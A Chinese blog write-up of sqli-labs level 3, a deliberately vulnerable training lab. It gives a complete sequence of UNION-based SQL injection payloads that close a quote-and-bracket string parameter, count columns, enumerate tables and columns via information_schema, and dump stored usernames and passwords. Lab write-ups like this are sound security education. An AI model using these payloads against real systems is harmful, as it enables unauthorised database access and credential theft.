sqli-labs第三关

当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

通过下面代码进行SQL注入

?id=2')--+

?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

通过在Sqli-labs靶场的第三关学习,深入理解并实践了SQL注入技巧,特别是在字符型注入和联合查询注入方面的应用。Sqli-labs是一个著名的SQL注入练习平台,设计了多个难度不同的关卡,让安全爱好者和专业人士能够在实践中提升对SQL注入攻击和防御的理解。

在进行Sqli-labs第三关的挑战时,首先需要确定SQL注入的类型。根据相关博客的分析,当输入单引号时页面异常,而双引号则使页面正常显示,这表明参数是由单引号闭合的。这一点尤为重要,因为它决定了后续攻击载荷的构造方式。

进一步分析表明,这一关卡涉及带括号的字符型注入。具体而言,SQL语句的结构类似于"SELECT * FROM users WHERE id=($id) LIMIT 0,1";。在这种情况下,需要闭合前面的括号,这可以通过添加一个单引号来实现,如传入id=5'),从而使得最终的SQL语句结构完整且能够被数据库正确执行。

在确认了注入类型之后,下一步是判断字段数量。通过在参数中添加order by语句,例如?id=5') order by 4--+,可以逐一尝试判断返回结果是否异常,从而确定字段数。在本关中,通过测试发现表中有3个字段。这一步骤对于后续实施联合查询至关重要,因为联合查询要求两边的查询结果具有相同的列数。

接下来是使用联合查询获取数据库信息。通过构造类似?id=-1') UNION SELECT 1,2,DATABASE()--+的payload,可以爆出当前数据库名。同样的方法可以用来列出数据库中的所有表名及其对应的字段名。

在获取到足够的信息后,就可以进一步获取敏感数据,例如用户表中的用户名和密码。通过精心构造的查询,比如?id=-1') UNION SELECT 1,2,GROUP_CONCAT(username,':',password) FROM users--+,可以成功显示出存储在users表中的所有用户名和密码。

总结来说,通过Sqli-labs第三关的学习和挑战,不仅加深了对SQL注入技术的认识,而且提升了实际操作技能。这些经验教训不仅对于个人技术成长至关重要,也对于未来在网络安全领域的深入研究提供了坚实的基础。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值